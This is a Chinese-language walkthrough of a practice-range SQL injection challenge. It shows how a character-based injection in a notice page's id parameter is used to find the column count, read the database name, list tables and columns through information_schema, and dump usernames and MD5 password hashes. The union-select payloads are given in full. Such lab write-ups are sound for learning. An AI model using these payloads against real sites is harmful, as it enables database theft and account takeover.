登錄平台靶靶場后會發現底部有個通知點進去之后會發現URL中帶有?id這地方八成是可以注入的
先嘗試了一下在tingjigonggao后面加'號結果發下報錯了看這提示應該是sql語句錯誤
然后嘗試了下加上‘ and ’1‘=’1 結果回顯是正常的,加上‘ and 1=1 報錯說明這里是一個字符型的注入,當然這個靶場的題目也已經提示了這次的sql注入會是一個字符型注入
接下來就是測試字段數了這里我一開始嘗試’order by 1 #結果一直報錯后來嘗試了下把#改成%23就正常了,‘order by 4 %23的時候正常5的時候就報錯了說明這個字段書是4
然后就可以使用聯合查詢來看版本號數據庫名了,
一開始我直接在tingjigonggao后面加上' union select 1,version(),database(),4 %23發現返回的只有正常頁面后來嘗試了下發現把tingjigonggao改成1或者其他內容就能返回我們想要的數據庫名了,我覺得可能是停機公告是由內容查詢出來的所以直接就把標題和內容的位置占據了,把我們想讓他顯示出來的版本號和數據庫名給蓋掉了,然后換成其他人內容的話數據庫里面沒有相應的標題和內容所以前半段的返回相當於空,那我們后面一段的聯合查詢內容就不會被覆蓋了;
現在知道數據庫名了接下來就是看查表名了,在查表明的時候我犯了個小錯誤還一直都找不到原因直到看到別人的過關方法才知道自己錯在了哪里,序號1為我以一開始使用的查詢語句
此粗我在回去table_name的時候沒有用group_concat()所以導致我只獲得了一個名為notice的表名這個明顯是通知數據所在的表么,接着獲取列的時候也沒有我們想要的賬號密碼
錯誤sql 1.' union select 1,table_name,table_schema,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'
正確的2.' union select 1,group_concat(table_name),table_schema,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'
在加了group_concat()之后所有的表名就都顯示出來了,很明顯stormgroup_member這張表才是存放登錄用戶名和密碼的表
接下來我們來獲取stormgroup_member表中的列名' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member' %23
此處得知表中用戶名和密碼的列名分別為name和password
接下來就是獲取這張表中name咧和password列的所有數據了' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member %23
這里發下那他有兩個一樣的賬號和兩串不同的md5碼我們對md5碼分別解碼然后嘗試登錄,發下你第一個密碼顯示的是賬號被禁用或密碼錯誤只有第二個密碼是可以正常登錄的,正常登陸后就能找的key了